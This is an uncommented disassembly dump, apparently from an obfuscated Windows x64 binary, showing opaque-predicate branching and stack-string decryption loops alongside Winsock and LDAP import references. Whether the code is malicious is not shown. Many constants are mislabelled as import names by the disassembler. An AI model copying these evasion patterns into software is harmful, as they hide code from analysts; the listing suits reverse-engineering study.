movabs rcx, 0x9333b19cb9547594
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x14013de7b
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x14013d893
movabs rcx, 0x2a6a592699037e9c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x14013dfaa
movabs rdx, 0x7605aceb88db0320
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013df84
movabs rcx, 0xc1a100b078b287a4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x14013df5e
lea rax, [r11 + 8]
cmp rdi, rax
jae 0x14013dbb8
lea rdx, [r10 + r15]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [r11 + rdi]
cmp rax, 6
je 0x14013de80
lea rax, [r11 + 0x10]
cmp rdi, rax
jbe 0x14013dc8b
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, r14
jae 0x14013de2b
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x14013dd59
movabs rdx, 0xe41f9575967bc6dc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 4
add bl, dl
cmp r11, 0x1000
jb 0x14013d966
movabs rdx, 0xf00e4fc4381099b4
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14013df5e
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013dbe4
movabs rcx, 0xcc4220d85352212c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x34
jmp 0x14013e082
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14013dbfe
movabs rdx, 0x350b794e73a31824
mov ecx, esi
jmp 0x14013debd
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14013dc2d
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013de7b
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14013dc58
movabs rcx, 0x52397dffa41c8a98
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x14013de51
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14013db10
movabs rdx, 0xbb02d675c46d8190
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013df84
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013dcb5
movabs rdx, 0xb26331447cfb31c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
jmp 0x14013df5c
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14013dce0
movabs rcx, 0xcf9135f5ad74a436
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
jmp 0x14013de51
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14013dcfd
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x14013dc16
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14013dd29
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x42
jmp 0x14013deea
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14013db4c
movabs rcx, 0x5588931cfe3f0da2
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6e
jmp 0x14013e082
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013dd85
movabs rcx, 0x988441b0a6a44258
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x14013e082
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14013ddaf
movabs rdx, 0x14d9a26c6f53950
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x30
jmp 0x14013dea7
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14013ddcc
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x14013dc16
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x14013ddfb
movabs rdx, 0xd2e04b1307972740
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013dfaa
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14013db83
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, r12b
jmp 0x14013df84
movabs rdx, 0xa472fbff48391530
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, byte [rbp + r10 + 0x7c0]
sub bl, al
sub bl, 0x50
add bl, r9b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x7c0], cl
add rdi, r11
jmp 0x14013deea
movabs rdx, 0x58d7a83a586190ac
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x7c0]
add bl, r9b
add bl, dl
jmp 0x14013dfd2
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14013dea4
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14013e091
movabs rcx, 0x34f151d5a22830a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x46
jmp 0x14013dfaa
movabs rdx, 0x9a85bca739d18c12
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7e
jmp 0x14013df5c
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x1e
add r9b, cl
mov byte [rbp + r10 + 0x7c0], r9b
add r11, r13
jmp 0x14013dfaa
movabs rdx, 0xc8f30bbaf92f9e22
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
sub r10, r13
jmp 0x14013e091
mov r9, r8
movabs rcx, 0xf7605aceb88db032
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x7c0], al
add r11, r13
add rax, r11
sub r10, rax
jmp 0x14013e02c
movabs rdx, 0x42fbae93a86534b6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r9b, r8b
movabs rcx, 0xd3c5475688a0c28
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x18
add r9b, cl
mov byte [rbp + r10 + 0x7c0], r9b
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14013e082
movabs rdx, 0x8e970258983cb93a
add rdx, r10
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movzx eax, byte [rbp + r10 + 0x7c0]
add rax, r11
add r10, rax
add r10, r13
jmp 0x14013d507
movabs rdx, 0x5c26bd57b28413b6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013d502
movabs rdx, 0xa7c2111ca25b983a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013d4f2
lea rdx, [rbp + 0x1598368]
jmp 0x14013e0fe
lea rdx, [rbp + 0x16dc126]
jmp 0x14013e0fe
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x3e0]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a80]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14013e133
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x1a80]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1a80]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1a80]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0xbb0], 0xe3
mov byte [rbp + 0xbb1], 0xad
mov byte [rbp + 0xbb2], 0xec
mov byte [rbp + 0xbb3], 0xab
mov byte [rbp + 0xbb4], recv
mov byte [rbp + 0xbb5], 0xa9
mov byte [rbp + 0xbb6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xbb7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xbb8], 0x3d
mov byte [rbp + 0xbb9], __WSAFDIsSet
xor eax, eax
mov byte [rbp + 0xbba], al
mov byte [rbp + 0xbbb], __WSAFDIsSet
mov byte [rbp + 0xbbc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xbbd], __WSAFDIsSet
mov byte [rbp + 0xbbe], reloc.WS2_32.dll_listen
mov byte [rbp + 0xbbf], 0x9f
mov byte [rbp + 0xbc0], 7
mov byte [rbp + 0xbc1], 0x9d
mov byte [rbp + 0xbc2], 5
mov byte [rbp + 0xbc3], 0x9b
mov byte [rbp + 0xbc4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xbc5], 0x99
mov byte [rbp + 0xbc6], Ordinal_46
mov byte [rbp + 0xbc7], 0x87
lea r15d, [rax + 0x16]
mov byte [rbp + 0xbc8], r15b
mov byte [rbp + 0xbc9], 0x85
mov byte [rbp + 0xbca], Ordinal_217
mov byte [rbp + 0xbcb], 0x83
mov byte [rbp + 0xbcc], 0x3d
mov byte [rbp + 0xbcd], 0x81
mov byte [rbp + 0xbce], Ordinal_50
mov byte [rbp + 0xbcf], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xbd0], Ordinal_46
mov byte [rbp + 0xbd1], Ordinal_143
mov byte [rbp + 0xbd2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xbd3], Ordinal_143
mov byte [rbp + 0xbd4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xbd5], Ordinal_143
mov byte [rbp + 0xbd6], 0x64
mov byte [rbp + 0xbd7], 0xf7
mov byte [rbp + 0xbd8], 0x5c
mov byte [rbp + 0xbd9], 0xf5
mov byte [rbp + 0xbda], 0x62
mov byte [rbp + 0xbdb], 0xf3
mov byte [rbp + 0xbdc], 0xaa
mov byte [rbp + 0xbdd], 0xf1
mov byte [rbp + 0xbde], 0xa2
mov byte [rbp + 0xbdf], 0xff
mov byte [rbp + 0xbe0], 0xae
mov byte [rbp + 0xbe1], 0xfd
mov byte [rbp + 0xbe2], 0x57
mov byte [rbp + 0xbe3], 0xfb
mov byte [rbp + 0xbe4], 0x60
mov byte [rbp + 0xbe5], 0xf9
mov byte [rbp + 0xbe6], Ordinal_79
mov byte [rbp + 0xbe7], 0xe7
mov byte [rbp + 0xbe8], 0xb6
mov byte [rbp + 0xbe9], 0xe5
mov byte [rbp + 0xbea], 0x77
mov byte [rbp + 0xbeb], 0xe3
mov byte [rbp + 0xbec], 0x7d
mov byte [rbp + 0xbed], 0xe1
mov byte [rbp + 0xbee], 0x47
mov byte [rbp + 0xbef], 0xef
mov byte [rbp + 0xbf0], 0xec
mov byte [rbp + 0xbf1], 0xed
xorps xmm0, xmm0
movups xmmword [rbp + 0xbf2], xmm0
mov qword [rbp + 0xc02], rax
mov byte [rbp + 0xc0a], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x5b
jae 0x14013ef1a
movzx r9d, byte [rbp + r10 + 0xbb0]
mov r8, r9
cmp rdi, r10
ja 0x14013ef11
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x14013e3ba
movabs rcx, 0xfa317cbfea226b1a
add rcx, r10
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x4a
jmp 0x14013e3f4
je 0x14013ee8a
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14013edfd
lea rax, [r11 + 4]
cmp rdi, rax
je 0x14013edc7
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14013ed7d
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14013ed55
cmp r11, r10
ja 0x14013ef08
lea rax, [r11 + 0x7a]
cmp rdi, rax
jae 0x14013e41a
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x14013e601
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14013ed11
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14013ecf2
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14013eccf
lea rax, [r11 + 7]
cmp rdi, rax
je 0x14013ecac
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x14013e999
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x14013e978
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x14013e964
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x14013e942
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14013e920
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14013e8fa
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14013e8d8
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14013e8c4
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14013e8a2
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x14013e87c
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x14013e45b
lea rdi, [r11 + 0x61]
lea r11, [rdi + 0x1000]
lea rax, [r11 + 0x400]
cmp rdi, rax
jb 0x14013eee5
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x14013eebf
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x14013e63a
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x14013e618
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x14013e5f2
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x14013e821
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x14013e7c6
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x14013e778
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x64]
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x14013e756
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x14013e734
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x14013e70e
lea rax, [r11 + 9]
cmp rdi, rax
ja 0x14013e6ec
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x14013e6d8
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14013e6b7
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x14013e6a3
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x14013e681
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x14013e660
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x14013e45b
lea rdi, [r11 + 0x1000]
lea r11, [rdi + 0x400]
jmp 0x14013e45b
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013e44e
movabs rcx, 0xe47bc2b44c6b50ea
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x66
jmp 0x14013e3f4
movabs rdx, 0xf018c93478267ab6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013e383
movabs rdx, 0x3079ddf1a6964910
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x14013ed2d
movabs rcx, 0x3c16e471d25172dc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x14013ed72
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x14013eaf2
movabs rdx, 0x5350f17229c7c674
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x2c
jmp 0x14013ed99
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14013edd6
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x14013edeb
movabs rdx, 0x762804f2acf943d8
add rdx, r10
mov al, dl
and al, r9b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013ee21
movabs rcx, 0x81c50b72d8b46da4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x14013ee53
movabs rcx, 0x8d6211f3046f9770
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x14013eea8
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
cmp r11, 0x41
jb 0x14013ec48
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x14013ed2f
movabs rdx, 0xc1a4af33c939d386
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp rdi, 3
jae 0x14013ec55
lea rcx, [r11 + 2]
cmp rdi, rcx
jbe 0x14013eb8e
movabs rdx, 0x23d9f578ff064e54
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x14013e795
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
lea rax, [r11 + rdi]
cmp rax, 0x5a
je 0x14013ec81
lea rax, [r11 + 0x41]
cmp rdi, rax
jbe 0x14013eaad
movabs rdx, 0x9dcab9baca338532
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14013e7e7
movabs rdx, 0x245b66753cf0b6cc
add rdx, r10
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013eea8
movabs rcx, 0x2ff86cf568abe098
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x14013ee53
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x14013ea0b
movabs rcx, 0x473279f5c0223430
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x50
jmp 0x14013edeb
movabs rdx, 0x52cf8075ebdd5dfc
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013ede8
movabs rcx, 0x5e6c86f6179887c8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x78
jmp 0x14013ed9b
movabs rcx, 0x6a098d764353b194
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
jmp 0x14013ed75
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x14013ea96
movabs rdx, 0x81439a769aca052c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x34
jmp 0x14013ed2d
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x14013e9c8
movabs rdx, 0xfa317cbfea226b1a
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013e83e
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013e9f7
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013eea8
cmp rdi, rcx
jne 0x14013ea20
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14013eca5
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14013ea4f
movabs rdx, 0xd20d56fb8efdc148
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013ed9b
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14013ea7a
movabs rcx, 0xc670507b6342977c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x64
jmp 0x14013ed75
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14013e83e
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013ed72
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013eada
movabs rdx, 0x922db33a9e785b66
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14013ed2d
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14013eb09
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013ed75
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14013eb34
movabs rcx, 0x63b99939ef8bb436
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
jmp 0x14013ede8
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14013eb5f
movabs rcx, 0x4c7f8c399815609e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x52
jmp 0x14013ee21
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14013e7e7
movabs rcx, 0x35457f39409f0d06
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2a
jmp 0x14013eea8
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14013eba9
movabs rdx, 0x183ceef8d34b2488
mov ecx, r12d
jmp 0x14013e9e0
cmp rdi, rcx
jne 0x14013ebd1
movabs rdx, 0xc9fe878a78ffabc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x14013ee53
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14013ebfc
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x14013ede8
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14013ec19
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14013ea96
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x14013e795
movabs rcx, 0xbb54baf77571d628
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x14013ed2f
mov byte [rbp + r10 + 0xbb0], bl
jmp 0x14013eeb7
movabs rdx, 0xa41aadf71dfb8290
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0xbb0]
add bl, r9b
jmp 0x14013ed99
movabs rdx, 0x987da776f24058c4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0xbb0]
sub bl, 0x5c
add bl, dl
jmp 0x14013ee21
movabs rdx, 0x292707bcd6f97ac2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x14013ee53
movabs rcx, 0x406114bd2e6fce5a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x76
jmp 0x14013edeb
movabs rcx, 0x6338283db1a14bbe
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x32
jmp 0x14013ed75
movabs rdx, 0x7a72353e09179f56
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r9b
mov byte [rbp + r10 + 0xbb0], cl
jmp 0x14013ed72
movabs rcx, 0x9d4948be8c491cba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
add r11, r13
sub r10, r13
jmp 0x14013eeb7
movabs rdx, 0xb48355bee3bf7052
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0xbb0], cl
jmp 0x14013ede8
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14013eeb7
mov r9, r8
movabs rdx, 0xd75a693f66f0edb6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x92af2436dc62c3de
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0xbb0], al
add r11, r13
add rax, r11
sub r10, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0xbb0], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14013eea8
movabs rcx, 0xee94763fbe67414e
add rcx, r10
mov al, r8b
and al, cl
add al, al
